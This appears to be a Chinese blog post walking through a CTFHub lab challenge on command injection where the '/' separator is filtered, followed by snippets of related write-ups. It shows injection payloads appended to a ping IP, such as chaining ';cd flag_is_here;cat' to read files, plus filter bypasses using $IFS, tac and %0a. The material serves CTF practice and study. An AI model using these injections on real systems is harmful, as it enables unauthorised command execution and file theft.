CTFHUB-技能树-Web题-RCE（远程代码执行）-远程包含-命令注入-过滤目录分隔符

最新推荐文章于 2025-07-17 20:17:49 发布
最新推荐文章于 2025-07-17 20:17:49 发布
阅读量262 收藏
点赞数 3
CC 4.0 BY-SA版权
分类专栏： CTFHUB解题思路 文章标签： web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/Static______/article/details/141267551

CTFHUB-技能树-Web题-RCE（远程代码执行）-远程包含-命令注入-过滤目录分隔符

过滤了目录分隔符 ///那么我们就 cd 命令进入对应的目录。

payload

127.0.0.1;cd flag_is_here;cat xxx.php |base64

在这里插入图片描述

解题方法：
127.0.0.1|ls

在这里插入图片描述

127.0.0.1;cd flag_is_here;ls

在这里插入图片描述

127.0.0.1;cd flag_is_here;cat flag_1711413574406.php

在这里插入图片描述
在这里插入图片描述

ctfhub--＞命令注入练习
qq2489021103的博客
04-01 796
ctfhub-web练习–>各种绕过 1.这题没有任何过滤 直接127.0.0.1;ls获取目录，找到flag，然后cat flag在注释里面。 2.这题过滤了cat 百度下php类cat方法： 127.0.0.1;ls 得到目录后 127.0.0.1; less flag_11261594711502.php 得到flag 3.过滤空格 用IFS绕过127.0.0.1;cat{IFS}绕过 127.0.0.1;catIFS绕过127.0.0.1;cat{IFS}flag_163033
CTFHUB-技能树-WEB通关
Alita_lxz的博客
11-11 7876
Web 题目来自ctfhub技能树web部分 Web前置技能 操作系统 数据库 HTTP协议 请求方式 HTTP 请求方法, HTTP/1.1协议中共定义了八种方法（也叫动作）来以不同方式操作指定的资源。 ​ 1.OPTIONS 　　返回服务器针对特定资源所支持的HTTP请求方法。也可以利用向Web服务器发送’*'的请求来测试服务器的功能性,如获取当前URL所支持的方法。若请求成功，则它会在HTTP头中包含一个名为“Allow”的头，值是所支持的方法，如“GET,POST”。 　2.HEAD 　　向服务
CTFHub-RCE 命令注入-过滤目录分隔符
weixin_49727285的博客
05-31 720
【代码】CTFHub-RCE 命令注入-过滤目录分隔符。
CTFHub | 过滤目录分隔符
尼泊罗河伯的博客
07-21 1862
检查网页源代码发现这题如果有 / ， \ ， \\ 就不会执行，说明这题对斜杠做了过滤处理。这里使用 HackBar 进行测试，在 URL 后输入 /ip=127.0.0.1 对本地进行 ping 命令测试，发现可以正常回显。
CTFHub技能书解题笔记-RCE-过滤空格、过滤目录分隔符、过滤运算符
qq_43006864的博客
04-01 5102
一、过滤空格 过滤了空格。 引入绕过空格过滤的字符：< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等 直接开始解题 这里就用<来绕过。flag还是再界面源码。 二、过滤目录分隔符 题目提示，这次过滤了目录分割符 / ，你能读到 flag 目录下的 flag 文件吗。 这里的话就更简单了，我们可以使用;和cd到目录然后使用cat抓取。也就是用；进行命令拼接。例如：x.x.x.x;cd ../;ls;cat xxx
CTFHub技能树笔记之RCE：过滤目录分隔符、过滤运算符、综合过滤练习
weixin_48799157的博客
03-29 3003
小白一个，记录解题过程，如有错误请指正！ 一、过滤目录分隔符 1.查看当前目录 2.有提示，进去看一下 127.0.0.1;ls flag_is_here 3.根据经验知道我们只要访问到php文件的内容就可以拿到flag了 思路：这里我们可以用&&运算符将命令连接起来就能成功拿到flag 127.0.0.1;cd flag_is_here&&cat flag_19900138617064.php|base64 二、过...
CTF——远程代码执行漏洞的利用与绕过
weixin_51735061的博客
03-10 4796
CTF——远程代码执行漏洞的利用与绕过 RCE远程代码执行是一种常见的攻击方法，通过一些特定的函数方法来达到远程执行漏洞。比如说PHP的system,exec,shell_exec，nodejs的eval等。开发者不小心将这些函数公开出来以实现某种服务，而用户的数据不施加任何的过滤的话就很容易形成此漏洞。 敏感函数 系统指令执行的敏感函数 system()、exec()、shell_exec()、passthru()、pctnl_exec()、 popen()、proc_open() 能够进行代码注入的敏
浅析QLExpress脚本引擎表达式注入漏洞
道阻且长，行则将至
12-19 2654
本文总结学习了 QLExpress 脚本引擎表达式注入漏洞的基本原理和漏洞利用方式，并介绍了官方提供的漏洞防御机制及相关缺陷。由于默认配置的不安全性，一旦研发在项目中引入 QLExpress 引擎，却未正确开启安全配置或校验外部传递的表达式，那么将导致系统存在远程代码执行漏洞的风险。
CTFHub_技能树_Web之RCE——“过滤目录分隔符”
Ho1aAs‘s Blog
07-28 1447
文章目录使用工具解题过程完 –>CTFHub传送门<– 使用工具 Microsoft Edge v84.0.522.40 解题过程 127.0.0.1&ls查看当前目录结构 flag需要跳转到子文件夹里 而目录分隔符斜杠被过滤了 因此我们使用cd进入子文件夹，而不是直接cat访问 输入127.0.0.1;cd flag_is_here;ls进入子文件夹并查询，使用分号间隔 127.0.0.1;cd flag_is_here;cat flag_xxx.php访问得到FLAG，位
CTFHUB-技能树-Web题-RCE（远程代码执行）-远程包含-命令注入-综合过滤练习
Static______的博客
08-19 776
根据题目提示以及代码。
CTFHub技能树 Web-RCE 详解
weixin_45808483的博客
11-13 2575
RCE简介： 初学RCE（远程命令/代码执行漏洞）https://blog.youkuaiyun.com/qq_43814486/article/details/90020139 eval执行 启动环境 分析代码，提示我们将命令赋值给cmd执行 我们先查看当前位置的文件，没有什么用 /?cmd=system("ls"); 我们查看根目录文件，发现一个 flag_8999 文件 /?cmd=system("ls /"); 我们先尝试使用cat 命令查看 flag_8999文件 /..
ctfhub技能树web：RCE里的eval执行和命令注入
2302_81010533的博客
03-30 646
远程命令/代码执行漏洞，简称为RCE漏洞，可以直接向服务器后台远程注入操作系统的命令或者代码，从而拿到服务器后台的权限。首先执行ping命令，ping本机ip:127.0.0.1,再加上ls这个系统命令，连起来就是127.0.0.1;ls接着查看里面的文件，构造命令127.0.0.1;检查网页显示内容可以发现题目中直接给出了一段源代码，代码的大致意思是判断用户是否传了一个 cmd 参数，否则执行 else。检查目录列表发现关于flag的文件，检查内容发现flag。，查看可以访问的文件，发现一个。
CTFHUB-web-RCE
ookami6497的博客
12-03 1716
无
CTFHub技能树web之RCE（二）
wzhwzh123321的博客
02-20 1319
打开phpinfo，可以看到allow_url_fopen和allow_url_include都是On，因此可以使用php://input，由于代码会检查file中的内容，因此不能够使用php://filter包含文件，使用php://input通过hackbar使用POST方式发包，抓包并在最后一行加php代码执行。使用%0a拼接cd%09*_is_here进入flag文件所在的目录中，由于cat被过滤因此使用tac，再使用%0a拼接tac%09*输出flag文件内容，构造语句为?
HCIA-Security 认证精讲！网络安全理论与实战全掌握
噗老师带你打代码
07-16 503
想入门网络安全却不知道从哪儿下手？不少新手都卡在 “理论太抽象、实战没头绪” 的困境里。其实，华为 HCIA-Security 认证就是个超合适的起点从 “网络安全到底要护啥” 到 “被攻击了该咋应对”，从硬件加固到数据加密，从应急响应到攻防演练，这套体系能帮你把零散的知识点串成完整的防护逻辑。
网络安全初级（XSS-labs 1-8）
2301_80632830的博客
07-16 1074
隐藏错误信息可能掩盖代码中的问题，不利于调试和安全审计，且若存在其他未处理的参数使用场景，可能被攻击者利用。函数用于完成任务提示及页面跳转，对用户输入的关键字进行了简单过滤和转义处理以防范 XSS 攻击，但存在过滤不完整、错误信息隐藏等安全隐患，页面还会显示搜索结果提示、搜索表单、图片及输入内容处理后的长度。参数进行了简单替换处理，但未全面防御恶意输入，攻击者仍可能构造绕过替换的恶意脚本，通过表单提交后在页面输出执行，从而劫持用户会话等。存在 XSS（跨站脚本攻击）漏洞，代码对用户输入的。
网络安全初级（Python实现sql自动化布尔盲注）
2301_80632830的博客
07-16 967
目标URL# 要推断的数据库信息（例如：数据库名）# 字符集（可以根据需要扩展）url：指定了目标网站的 URL，即要进行 SQL 注入测试的页面。：用于存储推断出的数据库名，初始为空字符串。charset：定义了可能出现在数据库名中的字符集，包括大小写字母、数字和一些特殊字符。
网络安全威胁下的企业困境与破局技术实践
最新发布
laozhangguzhang的博客
07-17 2822
在网络安全的攻防战中，没有绝对的安全，只有相对的防护。让我们携手共建企业安全防护新生态，为每一台终端设备构筑强韧的安全防线！
CTFHUB----web前置技能-rce
01-01
### CTFHUB Web 前置技能 RCE 挑战及解题思路 #### 远程命令执行简介 远程命令执行（Remote Command Execution, RCE），是指攻击者能够通过应用程序接口发送特定指令，在服务器端执行任意操作系统级别的命令。这种漏洞一旦被利用，可能导致整个系统的完全控制。 #### 发现潜在的RCE漏洞 当面对可能存在RCE漏洞的应用程序时，通常会寻找可以输入数据的地方，比如表单提交、URL参数等位置。如果这些地方的数据未经严格验证就直接用于构建并执行系统调用，则可能成为RCE攻击的目标[^1]。 #### 验证是否存在RCE漏洞 为了确认是否真的存在这样的安全风险，可以通过尝试注入一些简单的测试语句来观察响应情况。例如，在支持PHP环境的情况下，可以试着向目标页面传递如下payload： ```php <?php phpinfo(); ?> ``` 如果上述代码被执行并且返回了PHP配置信息，则说明确实存在未受保护的入口点允许外部传入的内容影响到内部逻辑处理流程。 #### 利用已知条件构造有效载荷 假设经过初步探测之后发现了某个变量可以直接参与到shell_exec()函数之中去，那么就可以精心设计一段能实现预期目的同时又不会引起怀疑的日志记录脚本作为最终的有效负载。这里给出一个简单例子用来获取当前目录下的文件列表： ```bash ls -al ``` 当然实际操作过程中还需要考虑更多因素，如编码方式转换、特殊字符转义等问题以确保成功绕过防护机制达到想要的效果。 #### 安全建议 对于开发者而言，预防此类问题的发生至关重要。应当遵循最小权限原则分配资源访问权；对所有来自客户端的信息都应做充分校验过滤后再参与后续运算过程；定期审查源码查找安全隐患及时修复补丁版本更新至最新状态等等措施均有助于减少遭受恶意侵害的可能性。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

python炒粉

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值